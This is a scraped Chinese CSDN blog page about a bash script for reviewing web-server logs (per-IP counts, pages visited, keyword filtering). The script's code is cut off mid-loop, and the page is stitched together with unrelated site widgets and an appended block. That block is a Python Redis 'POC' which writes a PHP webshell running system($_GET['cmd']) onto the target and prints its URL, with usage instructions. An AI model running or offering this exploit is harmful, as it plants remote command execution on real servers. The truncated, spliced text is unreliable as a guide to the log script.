web中间件日志分析脚本1.0(shell脚本)

本文介绍了一个用于web日志安全检查的bash脚本,功能包括:列出不同IP的访问次数,查看特定IP的访问页面,统计访问IP数量,以及根据关键词筛选日志。提供了多种运行脚本的方法。
摘要由CSDN通过智能技术生成


主要用于平时web日志的安全检查,护网还是直接看设备比较好

一、功能

  1. 列出当天不同IP的访问次数
  2. 查看某一个IP访问了哪些页面
  3. 查看当天有多少个IP访问
  4. 根据关键词筛选日志内容

二、效果图

0.刚运行脚本需要输入日志文件名或绝对路径

在这里插入图片描述
输入错误需要重新输入
在这里插入图片描述

1.可查看不同IP的访问次数

在这里插入图片描述

2.查看某一IP访问了哪些页面,下面还可以将该日志保存到文件中,按y保存,IP一定要写选项1里面有的IP

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.查看当天共有多少个IP访问

在这里插入图片描述

4.筛选出具有关键词的日志

在这里插入图片描述

三、代码

#!/bin/bash

# 字体颜色
Green_font_prefix="\033[32m"
Red_font_prefix="\033[31m"
Font_color_suffix="\033[0m"

# 分割线
line(){
   
for i in {
   1..100};do
  if [ $i -ne 100 ];then
    echo -ne "-"
  
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,需要明确一下需要扫描的中间件和漏洞。假设我们要扫描的是 Redis 中的 RCE 漏洞,可以使用以下 POC 脚本进行扫描: ``` import argparse import telnetlib def check_redis_rce(host, port): try: tn = telnetlib.Telnet(host, port, timeout=5) tn.write(b"config set dir /tmp\n") tn.write(b"config set dbfilename redis_shell.php\n") tn.write(b"set test \"<?php system($_GET['cmd']); ?>\"\n") tn.write(b"save\n") tn.write(b"exit\n") res = tn.read_all().decode("utf-8") if "OK" in res: print("[+] Redis RCE vulnerability exists!") print("[+] Webshell: http://{0}:{1}/redis_shell.php?cmd=".format(host, port)) else: print("[-] Redis RCE vulnerability does not exist.") except Exception as e: print("[-] Error: ", e) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Redis RCE Vulnerability Scanner') parser.add_argument('host', help='Target host') parser.add_argument('port', type=int, help='Target port') args = parser.parse_args() check_redis_rce(args.host, args.port) ``` 该脚本使用 `telnetlib` 库连接 Redis 服务,并执行一系列命令,利用 Redis 的 RCE 漏洞在目标主机上生成一个 Webshell。 使用方法: ``` python poc.py 127.0.0.1 6379 ``` 其中,`127.0.0.1` 为目标主机 IP,`6379` 为 Redis 服务端口号。 需要注意的是,该脚本只能检测 Redis 中的 RCE 漏洞,如果需要扫描其他中间件和漏洞,需要编写相应的 POC 脚本。同时,使用该脚本进行漏洞扫描需要先获得授权,确保不会对目标系统造成损失。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值